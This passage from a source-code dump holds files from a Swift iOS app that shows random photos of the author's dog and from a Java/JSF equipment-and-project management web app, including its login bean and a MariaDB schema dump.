//
// func generateImg() {
// if(index < gusImgFav.count-1) {
// index += 1
//
// UIView.transition(with: gusImg, duration: 0.2, options: .transitionCurlUp, animations: {
// self.gusImg.image = UIImage(named: self.gusImgFav[self.index])
// }, completion: nil)
//
// } else {
// index = 0
// if(gusImgFav.count > 1) {
//
// UIView.transition(with: gusImg, duration: 0.2, options: .transitionCurlUp, animations: {
// self.gusImg.image = UIImage(named: self.gusImgFav[self.index])
// }, completion: nil)
//
// } else {
// favText.isHidden = false
// gusImg.isHidden = true
// disableBttn()
// return
// }
// }
// changeFavBttn()
// }
//
// func prevImg() {
// if(index != 0) {
// index -= 1
// } else {
// index = gusImgFav.count-1
// }
//
// UIView.transition(with: gusImg, duration: 0.2, options: .transitionCurlDown, animations: {
// self.gusImg.image = UIImage(named: self.gusImgFav[self.index])
// }, completion: nil)
//
// changeFavBttn()
// }
//
// func favImg() {
// if(ImgArr[indexArr[index]].fav) {
// let alert = UIAlertController(title: "Are you sure you would like to unfavorite?", message: "You will have to wait for the image to reappear in order to favorite it again..", preferredStyle: UIAlertControllerStyle.actionSheet)
//
// alert.addAction(UIAlertAction(title: "Yes", style: UIAlertActionStyle.default, handler: { action in
// self.ImgArr[self.indexArr[self.index]].fav = !self.ImgArr[self.indexArr[self.index]].fav
// self.changeFavBttn()
// self.gusImgFav.remove(at: self.index)
// self.indexArr.remove(at: self.index)
// self.generateImg()
// }))
// alert.addAction(UIAlertAction(title: "No", style: UIAlertActionStyle.cancel, handler: nil))
//
// self.present(alert, animated: true)
// }
//
// if(gusImgFav.count <= 1) {
// disableBttn()
// } else {
// enableBttn()
// }
// }
//
//
// @IBAction func swipeGest(_ sender: Any) {
// let swipeGesture = sender as! UISwipeGestureRecognizer
//
// switch swipeGesture.direction {
// case UISwipeGestureRecognizerDirection.right:
// prevImg()
// break
// case UISwipeGestureRecognizerDirection.left:
// generateImg()
// break
// default: break
// }
// }
//
// @IBAction func bttnPress(_ sender: Any) {
// let button = sender as! UIButton
//
// switch button.tag {
// case 1:
// generateImg()
// break
// case 2:
// prevImg()
// break
// case 3:
// favImg()
// break
// default:
// break
// }
// }
//}
<file_sep>/Pic! a Puppy (GUS VERSION)/Pic! a Puppy (GUS VERSION)/ViewController.swift
//
// ViewController.swift
// Pic! a Puppy (GUS VERSION)
//
// Created by Sam on 5/18/18.
// Copyright © 2018 github.com/coe6. All rights reserved.
//
import UIKit
class ViewController: UIViewController {
@IBOutlet weak var startBttn: UIButton!
@IBOutlet weak var favBttn: UIButton!
@IBOutlet weak var infoBttn: UIButton!
var ImgArr: [imgProp] = []
override func viewDidLoad() {
super.viewDidLoad()
// Do any additional setup after loading the view, typically from a nib.
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
}
override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
let button = sender as! UIButton
if(button.tag == 1) {
let vc = segue.destination as! SecondViewController
vc.ImgArr = ImgArr
} else if(button.tag == 2) {
let vc = segue.destination as! ThirdViewController
vc.ImgArr = ImgArr
} else if(button.tag == 3) {
_ = segue.destination as! FourthViewController
}
}
}
//code for storing fav images
// var ImgArr: [imgProp] = []
// var gusImgFav = UserDefaults.standard.stringArray(forKey: "fav")
// var gusImgDefault = UserDefaults.standard
// var indexArr = UserDefaults.standard.array(forKey: "index")
// var indexDefault = UserDefaults.standard
//
// override func viewDidLoad() {
// super.viewDidLoad()
//
// checkFav()
//
// gusImgDefault.set(gusImgFav, forKey: "fav")
// indexDefault.set(indexArr, forKey: "index")
// // Do any additional setup after loading the view, typically from a nib.
// }
//
// override func didReceiveMemoryWarning() {
// super.didReceiveMemoryWarning()
// // Dispose of any resources that can be recreated.
// }
//
// override func viewWillAppear(_ animated: Bool) {
// if(gusImgDefault.value(forKey: "fav") != nil) {
// gusImgFav = gusImgDefault.stringArray(forKey: "fav")
// }
//
// if(indexDefault.value(forKey: "index") != nil) {
// indexArr = indexDefault.array(forKey: "index")
// }
// }
//
// override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
// let button = sender as! UIButton
//
// checkFav()
//
// if(button.tag == 1) {
// let vc = segue.destination as! SecondViewController
// vc.ImgArr = ImgArr
//
// } else if(button.tag == 2) {
// let vc = segue.destination as! ThirdViewController
// vc.ImgArr = ImgArr
//
// vc.gusImgFav = gusImgFav!
// let temp = gusImgFav
// gusImgDefault.set(temp, forKey: "fav")
// gusImgDefault.synchronize()
//
// if(gusImgDefault.value(forKey: "fav") != nil) {
// gusImgFav = gusImgDefault.stringArray(forKey: "fav")
// }
//
// vc.indexArr = indexArr as! [Int]
// let temp2 = indexArr
// indexDefault.set(temp2, forKey: "index")
// indexDefault.synchronize()
//
// if(indexDefault.value(forKey: "index") != nil) {
// indexArr = indexDefault.array(forKey: "index")
// }
//
// } else if(button.tag == 3) {
// _ = segue.destination as! FourthViewController
// }
// }
//
// func checkFav() {
// let vc = ThirdViewController()
// if(vc.gusImgFav.count != 0) {
// gusImgFav = vc.gusImgFav
// } else {
// vc.gusImgFav = gusImgFav!
// }
//
// if(vc.indexArr.count != 0) {
// indexArr = vc.indexArr
// } else {
// vc.indexArr = indexArr as! [Int]
// }
//
//
// let temp = gusImgFav
// let temp2 = indexArr
//
// gusImgDefault.set(temp, forKey: "fav")
// gusImgDefault.synchronize()
//
// indexDefault.set(temp2, forKey: "index")
// indexDefault.synchronize()
// }
//
//}
<file_sep>/Pic! a Puppy (GUS VERSION)/Pic! a Puppy (GUS VERSION)/SecondViewController.swift
//
// SecondViewController.swift
// Pic! a Puppy (GUS VERSION)
//
// Created by Sam on 5/18/18.
// Copyright © 2018 github.com/coe6. All rights reserved.
//
import UIKit
struct imgProp {
var img: String
var index: Int
var fav: Bool
init(img: String, index: Int, fav: Bool) {
self.img = img
self.index = index
self.fav = fav
}
}
class SecondViewController: UIViewController {
@IBOutlet weak var gusImage: UIImageView!
@IBOutlet weak var prevBttn: UIButton!
@IBOutlet weak var nextBttn: UIButton!
@IBOutlet weak var favBttn: UIButton!
@IBOutlet weak var homeBttn: UIButton!
@IBOutlet weak var beginBttn: UIButton!
var ImgArr: [imgProp] = []
var gusImgArr = [String]()
var indexArr = [Int]()
var index = 0;
override func viewDidLoad() {
super.viewDidLoad()
for i in 0...65 {
gusImgArr.append("img\(i).png")
ImgArr.append(imgProp(img: "img\(i).png", index: i, fav: false))
}
var nums = Array(0...65)
for _ in 0...65 {
let index = Int(arc4random_uniform(UInt32(nums.count)))
indexArr.append(nums[index])
nums.remove(at: index)
}
gusImage.image = UIImage(named: gusImgArr[indexArr[index]])
let tap = UITapGestureRecognizer(target: self, action: #selector(doubleTapped))
tap.numberOfTapsRequired = 2
view.addGestureRecognizer(tap)
}
@objc func doubleTapped() {
favImage()
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
}
override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
let vc = segue.destination as! ViewController
vc.ImgArr = ImgArr
}
@IBAction func swipe(_ sender: Any) {
let swipeGesture = sender as! UISwipeGestureRecognizer
switch swipeGesture.direction {
case UISwipeGestureRecognizerDirection.right:
prevImage()
break
case UISwipeGestureRecognizerDirection.left:
generateImage()
break
default: break
}
}
@IBAction func displayImg(_ sender: Any) {
let button = sender as! UIButton
switch button.tag {
case 1:
generateImage()
break
case 2:
prevImage()
break
case 3:
favImage()
break
default: break
}
}
func prevImage() {
if(index != 0) {
index -= 1
}
UIView.transition(with: gusImage, duration: 0.2, options: .transitionCurlDown, animations: {
self.gusImage.image = UIImage(named: self.gusImgArr[self.indexArr[self.index]])
}, completion: nil)
changeFavBttn()
}
func generateImage() {
if(index < 65) {
index += 1
} else {
index = 0
}
UIView.transition(with: gusImage, duration: 0.2, options: .transitionCurlUp, animations: {
self.gusImage.image = UIImage(named: self.gusImgArr[self.indexArr[self.index]])
}, completion: nil)
changeFavBttn()
}
func changeFavBttn() {
if(ImgArr[indexArr[index]].fav) {
favBttn.setImage(#imageLiteral(resourceName: "postFAV"), for: .normal)
} else {
favBttn.setImage(#imageLiteral(resourceName: "preFAV"), for: .normal)
}
}
func favImage() {
ImgArr[indexArr[index]].fav = !ImgArr[indexArr[index]].fav
changeFavBttn()
}
}
<file_sep>/README.md
# Pic-a-Puppy-GUS-
A fun app to generate random photos of my dog, Gus, to look at when I miss him while I am at university!
*All development and graphics are done by <NAME>*
| 452b7eb32a1bb31aa4865f7a3f7c2e8b6c2c3527 | [
"Swift",
"Markdown"
] | 4 | Swift | coe6/Pic-a-Puppy-GUS- | abc69bd50c9dfa4027e7b36e99950c7e839a8dd0 | 52c7753c21f181591849be5f337f6c869d28b453 |
refs/heads/master | <repo_name>UCO-CS-Capstone/avalon_web<file_sep>/src/main/java/edu/uco/avalon/Project.java
package edu.uco.avalon;
import java.math.BigDecimal;
import java.time.LocalDate;
import java.time.LocalDateTime;
public class Project {
private int projectID;
private String name;
private LocalDate startDate;
private LocalDate estEndDate;
private LocalDate actEndDate;
private BigDecimal estCostOverall;
private BigDecimal currentCost;
private LocalDateTime lastUpdatedDate;
private String lastUpdatedBy;
private boolean isDeleted;
public int getProjectID() {
return projectID;
}
public void setProjectID(int projectID) {
this.projectID = projectID;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public LocalDate getStartDate() {
return startDate;
}
public void setStartDate(LocalDate startDate) {
this.startDate = startDate;
}
public LocalDate getEstEndDate() {
return estEndDate;
}
public void setEstEndDate(LocalDate estEndDate) {
this.estEndDate = estEndDate;
}
public LocalDate getActEndDate() {
return actEndDate;
}
public void setActEndDate(LocalDate actEndDate) {
this.actEndDate = actEndDate;
}
public BigDecimal getEstCostOverall() {
return estCostOverall;
}
public void setEstCostOverall(BigDecimal estCostOverall) {
this.estCostOverall = estCostOverall;
}
public BigDecimal getCurrentCost() {
return currentCost;
}
public void setCurrentCost(BigDecimal currentCost) {
this.currentCost = currentCost;
}
public LocalDateTime getLastUpdatedDate() {
return lastUpdatedDate;
}
public void setLastUpdatedDate(LocalDateTime lastUpdatedDate) {
this.lastUpdatedDate = lastUpdatedDate;
}
public String getLastUpdatedBy() {
return lastUpdatedBy;
}
public void setLastUpdatedBy(String lastUpdatedBy) {
this.lastUpdatedBy = lastUpdatedBy;
}
public boolean isDeleted() {
return isDeleted;
}
public void setDeleted(boolean deleted) {
isDeleted = deleted;
}
}
<file_sep>/src/main/java/edu/uco/avalon/LoginBean.java
package edu.uco.avalon;
import com.maxmind.geoip2.DatabaseReader;
import com.maxmind.geoip2.exception.GeoIp2Exception;
import com.maxmind.geoip2.model.CityResponse;
import com.maxmind.geoip2.model.CountryResponse;
import org.omnifaces.cdi.Cookie;
import org.omnifaces.util.Faces;
import javax.annotation.PostConstruct;
import javax.enterprise.context.SessionScoped;
import javax.faces.application.FacesMessage;
import javax.faces.context.FacesContext;
import javax.inject.Inject;
import javax.inject.Named;
import java.io.File;
import java.io.IOException;
import java.io.Serializable;
import java.io.UnsupportedEncodingException;
import java.net.InetAddress;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.sql.*;
import java.util.UUID;
import java.util.logging.Level;
import java.util.logging.Logger;
import static org.mariadb.jdbc.internal.com.send.ed25519.Utils.bytesToHex;
/**
* Allows for user login, logout, and registration.
* Holds data for the current logged in user.
*/
@Named
@SessionScoped
public class LoginBean extends User implements Serializable {
private boolean loggedIn = false;
private int attempts = 0;
private boolean rememberMe = true;
@Inject @Cookie(name = "UUID")
private String uuid = null;
public interface messages {
String shortLoginFailure = "Login Failed.";
String locked = "Too many login attempts. Please contact the administrator at (555) 867-5309 or click on \"Contact\" in the footer.";
String loginFailed = "Invalid username or password.";
String shortRegistrationFail = "Registration Failed.";
String longRegistrationFail = "Could not create the new user account at this time. Please try again later.";
}
@PostConstruct
public void init() {
try {
Class.forName("org.mariadb.jdbc.Driver");
} catch (Exception e) {
Logger.getLogger(LoginBean.class.getName()).log(Level.SEVERE, null, e);
}
}
/**
* Helper to copy a User object's variables to the current Bean
*
* @param user
*/
private boolean copyOut(User user) {
if (user != null) {
setUserID(user.getUserID());
setFirstName(user.getFirstName());
setLastName(user.getLastName());
setEmail(user.getEmail());
setPassword(user.<PASSWORD>());
setLocked(user.isLocked());
loggedIn = true;
return true;
}
return false;
}
/**
* Generate a random SHA-256 string for remember me functionality
*
* @return digest
*/
private String generateUUID() {
MessageDigest salt = null;
try {
salt = MessageDigest.getInstance("SHA-256");
salt.update(UUID.randomUUID().toString().getBytes("UTF-8"));
} catch (NoSuchAlgorithmException | UnsupportedEncodingException e) {
e.printStackTrace();
}
String digest = bytesToHex(salt.digest());
return digest;
}
/**
* Creates a "Remember Me" session
*/
public void initPersistentSession() {
try {
String newUUID = generateUUID();
Faces.addResponseCookie("UUID", newUUID, UserRepository.PERSISTENT_TIME);
UserRepository.addPersistentSession(newUUID, userID);
} catch (SQLException e) {
e.printStackTrace();
}
}
/**
* If there is a persistent session set then login automatically
*
* @return True if successful login, else false.
*/
public boolean checkPersistentSession() {
if (loggedIn) return true;
try {
if (uuid != null) {
++attempts;
User user = UserRepository.getUserByPersistentSession(uuid);
if (user != null) {
if (attempts < 5) {
return copyOut(user);
} else {
locked = true;
UserRepository.lockUserAccount(user.getEmail());
FacesContext fc = FacesContext.getCurrentInstance();
fc.addMessage("login", new FacesMessage(FacesMessage.SEVERITY_ERROR, messages.shortLoginFailure, messages.locked));
Faces.addResponseCookie("UUID", null, 0);
}
} else {
logout();
}
}
} catch (SQLException e) {
e.printStackTrace();
logout();
}
return false;
}
/**
* Logs a user in with provided credentials
*/
public void login() {
FacesContext fc = FacesContext.getCurrentInstance();
try {
if (!locked) {
if (attempts < 5) {
// Attempt login
User user = UserRepository.getUserByEmail(email, true);
PasswordHash ph = PasswordHash.getInstance();
if (user != null && ph.verify(user.getPassword(), password)) {
copyOut(user);
if (rememberMe) {
initPersistentSession();
}
}
} else {
// Lock out
locked = true;
UserRepository.lockUserAccount(email);
}
}
if (loggedIn) {
// Final redirect
Faces.redirect("dashboard");
} else {
// Failure
password = "";
if (locked) {
fc.addMessage("login", new FacesMessage(FacesMessage.SEVERITY_ERROR, messages.shortLoginFailure, messages.locked));
} else {
fc.addMessage("login", new FacesMessage(FacesMessage.SEVERITY_ERROR, messages.shortLoginFailure, messages.loginFailed));
++attempts;
}
}
} catch (SQLException e) {
e.printStackTrace();
fc.addMessage("login", new FacesMessage(FacesMessage.SEVERITY_ERROR, messages.shortLoginFailure, messages.loginFailed));
}
}
/**
* Insert a user into the database
*/
public void register() {
FacesContext fc = FacesContext.getCurrentInstance();
try {
userID = UserRepository.createUserAccount(this);
if (rememberMe) {
initPersistentSession();
}
loggedIn = true;
password = "";
Faces.redirect("dashboard");
} catch (SQLException e) {
e.printStackTrace();
fc.addMessage("register", new FacesMessage(FacesMessage.SEVERITY_ERROR, messages.shortRegistrationFail, messages.longRegistrationFail));
}
}
/**
* Destroys the current session to log the user out
* Then redirects to the login page.
*/
public void logout() {
try {
if (uuid != null) {
UserRepository.deletePersistentSession(uuid);
}
loggedIn = false;
Faces.addResponseCookie("UUID", null, 0);
Faces.invalidateSession();
Faces.redirect("");
} catch (SQLException e) {
e.printStackTrace();
}
}
public int getAttempts() {
return attempts;
}
public void setAttempts(int attempts) {
this.attempts = attempts;
}
public boolean isLoggedIn() {
return loggedIn;
}
public void setLoggedIn(boolean loggedIn) {
this.loggedIn = loggedIn;
}
public boolean getRememberMe() {
return rememberMe;
}
public void setRememberMe(boolean rememberMe) {
this.rememberMe = rememberMe;
}
}
<file_sep>/src/sql/avalon_db.sql
-- --------------------------------------------------------
-- Host: 127.0.0.1
-- Server version: 10.2.12-MariaDB - mariadb.org binary distribution
-- Server OS: Win64
-- HeidiSQL Version: 9.4.0.5125
-- --------------------------------------------------------
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET NAMES utf8 */;
/*!50503 SET NAMES utf8mb4 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
-- Dumping database structure for avalon_db
DROP DATABASE IF EXISTS `avalon_db`;
CREATE DATABASE IF NOT EXISTS `avalon_db` /*!40100 DEFAULT CHARACTER SET latin1 */;
USE `avalon_db`;
-- Dumping structure for table avalon_db.admin_assistance
DROP TABLE IF EXISTS `admin_assistance`;
CREATE TABLE IF NOT EXISTS `admin_assistance` (
`assistanceID` int(10) unsigned NOT NULL AUTO_INCREMENT,
`email` varchar(50) NOT NULL,
`body` varchar(500) NOT NULL,
`lastUpdatedDate` datetime NOT NULL,
`lastUpdatedBy` varchar(50) NOT NULL,
`isLocked` tinyint(1) NOT NULL DEFAULT 0,
PRIMARY KEY (`assistanceID`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
-- Dumping data for table avalon_db.admin_assistance: ~0 rows (approximately)
/*!40000 ALTER TABLE `admin_assistance` DISABLE KEYS */;
/*!40000 ALTER TABLE `admin_assistance` ENABLE KEYS */;
-- Dumping structure for table avalon_db.allocations
DROP TABLE IF EXISTS `allocations`;
CREATE TABLE IF NOT EXISTS `allocations` (
`allocationID` int(10) unsigned NOT NULL AUTO_INCREMENT,
`equipmentID` int(10) unsigned NOT NULL,
`projectID` int(10) unsigned DEFAULT NULL,
`lastUpdatedDate` datetime NOT NULL,
`lastUpdatedBy` varchar(50) NOT NULL,
`isDeleted` tinyint(1) NOT NULL DEFAULT 0,
PRIMARY KEY (`allocationID`),
KEY `FK_allocations_projects` (`projectID`),
KEY `FK_allocations_equipments` (`equipmentID`),
CONSTRAINT `FK_allocations_equipments` FOREIGN KEY (`equipmentID`) REFERENCES `equipments` (`equipmentID`) ON DELETE CASCADE ON UPDATE NO ACTION,
CONSTRAINT `FK_allocations_projects` FOREIGN KEY (`projectID`) REFERENCES `projects` (`projectID`) ON DELETE CASCADE ON UPDATE NO ACTION
) ENGINE=InnoDB AUTO_INCREMENT=10 DEFAULT CHARSET=latin1;
-- Dumping data for table avalon_db.allocations: ~5 rows (approximately)
/*!40000 ALTER TABLE `allocations` DISABLE KEYS */;
/*!40000 ALTER TABLE `allocations` ENABLE KEYS */;
-- Dumping structure for table avalon_db.equipments
DROP TABLE IF EXISTS `equipments`;
CREATE TABLE IF NOT EXISTS `equipments` (
`equipmentID` int(10) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(50) NOT NULL,
`typeID` int(10) unsigned NOT NULL,
`lastUpdatedDate` datetime NOT NULL,
`lastUpdatedBy` varchar(50) NOT NULL,
`isDeleted` tinyint(1) NOT NULL DEFAULT 0,
PRIMARY KEY (`equipmentID`),
KEY `FK_equipments_lu_equipment_types` (`typeID`),
CONSTRAINT `FK_equipments_lu_equipment_types` FOREIGN KEY (`typeID`) REFERENCES `lu_equipment_types` (`typeID`) ON DELETE CASCADE ON UPDATE NO ACTION
) ENGINE=InnoDB AUTO_INCREMENT=12 DEFAULT CHARSET=latin1;
-- Dumping data for table avalon_db.equipments: ~5 rows (approximately)
/*!40000 ALTER TABLE `equipments` DISABLE KEYS */;
/*!40000 ALTER TABLE `equipments` ENABLE KEYS */;
-- Dumping structure for table avalon_db.logs
DROP TABLE IF EXISTS `logs`;
CREATE TABLE IF NOT EXISTS `logs` (
`logID` int(10) unsigned NOT NULL AUTO_INCREMENT,
`event` varchar(500) NOT NULL,
PRIMARY KEY (`logID`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
-- Dumping data for table avalon_db.logs: ~0 rows (approximately)
/*!40000 ALTER TABLE `logs` DISABLE KEYS */;
/*!40000 ALTER TABLE `logs` ENABLE KEYS */;
-- Dumping structure for table avalon_db.lu_equipment_types
DROP TABLE IF EXISTS `lu_equipment_types`;
CREATE TABLE IF NOT EXISTS `lu_equipment_types` (
`typeID` int(10) unsigned NOT NULL AUTO_INCREMENT,
`description` varchar(50) NOT NULL,
`lastUpdatedDate` datetime NOT NULL,
`lastUpdatedBy` varchar(50) NOT NULL,
`isDeleted` tinyint(1) NOT NULL DEFAULT 0,
PRIMARY KEY (`typeID`),
UNIQUE KEY `description` (`description`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1;
-- Dumping data for table avalon_db.lu_equipment_types: ~3 rows (approximately)
/*!40000 ALTER TABLE `lu_equipment_types` DISABLE KEYS */;
INSERT INTO `lu_equipment_types` (`typeID`, `description`, `lastUpdatedDate`, `lastUpdatedBy`, `isDeleted`) VALUES
(1, 'Tool', '2018-02-04 18:12:38', 'manual insertion', 0),
(2, 'Appliance', '2018-02-04 18:13:26', 'manual insertion', 0),
(3, 'Vehicle', '2018-02-04 18:13:51', 'manual insertion', 0);
/*!40000 ALTER TABLE `lu_equipment_types` ENABLE KEYS */;
-- Dumping structure for table avalon_db.lu_roles
DROP TABLE IF EXISTS `lu_roles`;
CREATE TABLE IF NOT EXISTS `lu_roles` (
`roleID` int(10) unsigned NOT NULL AUTO_INCREMENT,
`role` varchar(50) NOT NULL,
`lastUpdatedDate` datetime NOT NULL,
`lastUpdatedBy` varchar(50) NOT NULL,
`isDeleted` tinyint(1) NOT NULL DEFAULT 0,
PRIMARY KEY (`roleID`),
UNIQUE KEY `description` (`role`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1;
-- Dumping data for table avalon_db.lu_roles: ~4 rows (approximately)
/*!40000 ALTER TABLE `lu_roles` DISABLE KEYS */;
INSERT INTO `lu_roles` (`roleID`, `role`, `lastUpdatedDate`, `lastUpdatedBy`, `isDeleted`) VALUES
(1, 'admin', '2018-02-13 20:08:00', 'manual insertion', 0),
(2, 'equipmentManager', '2018-02-13 20:08:16', 'manual insertion', 0),
(3, 'projectOwner', '2018-02-13 20:08:26', 'manual insertion', 0),
(4, 'maintenanceManager', '2018-02-13 20:08:39', 'manual insertion', 0);
/*!40000 ALTER TABLE `lu_roles` ENABLE KEYS */;
-- Dumping structure for table avalon_db.lu_user_flags
DROP TABLE IF EXISTS `lu_user_flags`;
CREATE TABLE IF NOT EXISTS `lu_user_flags` (
`flagID` int(10) unsigned NOT NULL AUTO_INCREMENT,
`flag` varchar(50) NOT NULL,
`lastUpdatedDate` datetime NOT NULL,
`lastUpdatedBy` varchar(50) NOT NULL,
`isDeleted` tinyint(1) NOT NULL DEFAULT 0,
PRIMARY KEY (`flagID`),
UNIQUE KEY `flag` (`flag`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1;
-- Dumping data for table avalon_db.lu_user_flags: ~3 rows (approximately)
/*!40000 ALTER TABLE `lu_user_flags` DISABLE KEYS */;
INSERT INTO `lu_user_flags` (`flagID`, `flag`, `lastUpdatedDate`, `lastUpdatedBy`, `isDeleted`) VALUES
(0, 'isActive', '2018-02-13 20:02:56', 'manual insertion', 0),
(1, 'isLocked', '2018-02-13 20:02:56', 'manual insertion', 0),
(2, 'isDeleted', '2018-02-13 20:03:19', 'manual insertion', 0),
(3, 'isVerified', '2018-02-13 20:03:38', 'manual insertion', 0);
/*!40000 ALTER TABLE `lu_user_flags` ENABLE KEYS */;
-- Dumping structure for table avalon_db.maintenances
DROP TABLE IF EXISTS `maintenances`;
CREATE TABLE IF NOT EXISTS `maintenances` (
`maintenanceID` int(10) unsigned NOT NULL AUTO_INCREMENT,
`description` varchar(50) NOT NULL,
`equipmentID` int(10) unsigned NOT NULL,
`cost` decimal(14,2) unsigned NOT NULL,
`nextMaintenanceDate` datetime NOT NULL,
`lastUpdatedDate` datetime NOT NULL,
`lastUpdatedBy` varchar(50) NOT NULL,
`isDeleted` tinyint(1) NOT NULL DEFAULT 0,
PRIMARY KEY (`maintenanceID`),
KEY `FK_maintenances_equipments` (`equipmentID`),
CONSTRAINT `FK_maintenances_equipments` FOREIGN KEY (`equipmentID`) REFERENCES `equipments` (`equipmentID`) ON DELETE CASCADE ON UPDATE NO ACTION
) ENGINE=InnoDB AUTO_INCREMENT=10 DEFAULT CHARSET=latin1;
-- Dumping data for table avalon_db.maintenances: ~9 rows (approximately)
/*!40000 ALTER TABLE `maintenances` DISABLE KEYS */;
/*!40000 ALTER TABLE `maintenances` ENABLE KEYS */;
-- Dumping structure for table avalon_db.milestones
DROP TABLE IF EXISTS `milestones`;
CREATE TABLE IF NOT EXISTS `milestones` (
`milestoneID` int(10) unsigned NOT NULL AUTO_INCREMENT,
`projectID` int(10) unsigned NOT NULL,
`cost` decimal(10,2) unsigned DEFAULT NULL,
`startDate` date DEFAULT NULL,
`endDate` date DEFAULT NULL,
`deadline` date DEFAULT NULL,
`dateRecorded` datetime NOT NULL,
`lastUpdatedDate` datetime NOT NULL,
`lastUpdatedBy` varchar(50) NOT NULL,
`isDeleted` tinyint(1) NOT NULL DEFAULT 0,
PRIMARY KEY (`milestoneID`),
KEY `FK_milestones_projects` (`projectID`),
CONSTRAINT `FK_milestones_projects` FOREIGN KEY (`projectID`) REFERENCES `projects` (`projectID`) ON DELETE CASCADE ON UPDATE NO ACTION
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
-- Dumping data for table avalon_db.milestones: ~0 rows (approximately)
/*!40000 ALTER TABLE `milestones` DISABLE KEYS */;
/*!40000 ALTER TABLE `milestones` ENABLE KEYS */;
-- Dumping structure for table avalon_db.projects
DROP TABLE IF EXISTS `projects`;
CREATE TABLE IF NOT EXISTS `projects` (
`projectID` int(10) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(50) NOT NULL,
`startDate` date DEFAULT NULL,
`estEndDate` date DEFAULT NULL,
`actEndDate` date DEFAULT NULL,
`estCostOverall` decimal(14,2) unsigned DEFAULT NULL,
`currentCost` decimal(14,2) unsigned DEFAULT NULL,
`lastUpdatedDate` datetime NOT NULL,
`lastUpdatedBy` varchar(50) NOT NULL,
`isDeleted` tinyint(1) NOT NULL DEFAULT 0,
PRIMARY KEY (`projectID`)
) ENGINE=InnoDB AUTO_INCREMENT=10 DEFAULT CHARSET=latin1;
-- Dumping data for table avalon_db.projects: ~1 rows (approximately)
/*!40000 ALTER TABLE `projects` DISABLE KEYS */;
/*!40000 ALTER TABLE `projects` ENABLE KEYS */;
-- Dumping structure for table avalon_db.users
DROP TABLE IF EXISTS `users`;
CREATE TABLE IF NOT EXISTS `users` (
`userID` int(10) unsigned NOT NULL AUTO_INCREMENT,
`first_name` varchar(256) NOT NULL,
`last_name` varchar(256) NOT NULL,
`email` varchar(256) NOT NULL,
`password` varchar(256) NOT NULL,
`flagID` int(10) unsigned DEFAULT 0,
`lastUpdatedDate` datetime NOT NULL,
`lastUpdatedBy` varchar(50) NOT NULL,
PRIMARY KEY (`userID`),
UNIQUE KEY `email` (`email`),
KEY `FK_users_lu_user_flags` (`flagID`),
CONSTRAINT `FK_users_lu_user_flags` FOREIGN KEY (`flagID`) REFERENCES `lu_user_flags` (`flagID`) ON DELETE CASCADE ON UPDATE NO ACTION
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
-- Dumping data for table avalon_db.users: ~0 rows (approximately)
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
-- Dumping structure for table avalon_db.users_roles_xref
DROP TABLE IF EXISTS `users_roles_xref`;
CREATE TABLE IF NOT EXISTS `users_roles_xref` (
`userID` int(10) unsigned NOT NULL,
`roleID` int(10) unsigned NOT NULL,
`lastUpdatedDate` datetime NOT NULL,
`lastUpdatedBy` varchar(50) NOT NULL,
`isDeleted` tinyint(1) NOT NULL DEFAULT 0,
PRIMARY KEY (`userID`,`roleID`),
KEY `FK_users_roles_xref_roles` (`roleID`),
KEY `FK_users_roles_xref_users` (`userID`),
CONSTRAINT `FK_users_roles_xref_roles` FOREIGN KEY (`roleID`) REFERENCES `lu_roles` (`roleID`) ON DELETE CASCADE ON UPDATE NO ACTION,
CONSTRAINT `FK_users_roles_xref_users` FOREIGN KEY (`userID`) REFERENCES `users` (`userID`) ON DELETE CASCADE ON UPDATE NO ACTION
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
DROP TABLE IF EXISTS `persistent_session`;
CREATE TABLE `persistent_session` (
`sessionID` varchar(100) NOT NULL,
`userID` int(10) unsigned NOT NULL,
`active` tinyint(1) NOT NULL DEFAULT 1,
`timestamp` datetime NOT NULL,
`ip` varchar(128) NOT NULL,
`country` varchar(100) NOT NULL,
PRIMARY KEY (`sessionID`),
UNIQUE KEY `persistent_session_sessionID_uindex` (`sessionID`),
KEY `persistent_session_users_userID_fk` (`userID`),
CONSTRAINT `persistent_session_users_userID_fk` FOREIGN KEY (`userID`) REFERENCES `users` (`userID`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
-- Dumping data for table avalon_db.users_roles_xref: ~0 rows (approximately)
/*!40000 ALTER TABLE `users_roles_xref` DISABLE KEYS */;
/*!40000 ALTER TABLE `users_roles_xref` ENABLE KEYS */;
/*!40101 SET SQL_MODE=IFNULL(@OLD_SQL_MODE, '') */;
/*!40014 SET FOREIGN_KEY_CHECKS=IF(@OLD_FOREIGN_KEY_CHECKS IS NULL, 1, @OLD_FOREIGN_KEY_CHECKS) */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
<file_sep>/src/main/java/edu/uco/avalon/Sechdule.java
package edu.uco.avalon;
import java.time.LocalDate;
public class Sechdule {
private String projectName;
private LocalDate startDate;
private LocalDate endDate;
private double currentCost;
private String milestone;
public Sechdule() {
}
public Sechdule(String projectName, LocalDate startDate, LocalDate endDate, double currentCost, String milestone) {
this.projectName = projectName;
this.startDate = startDate;
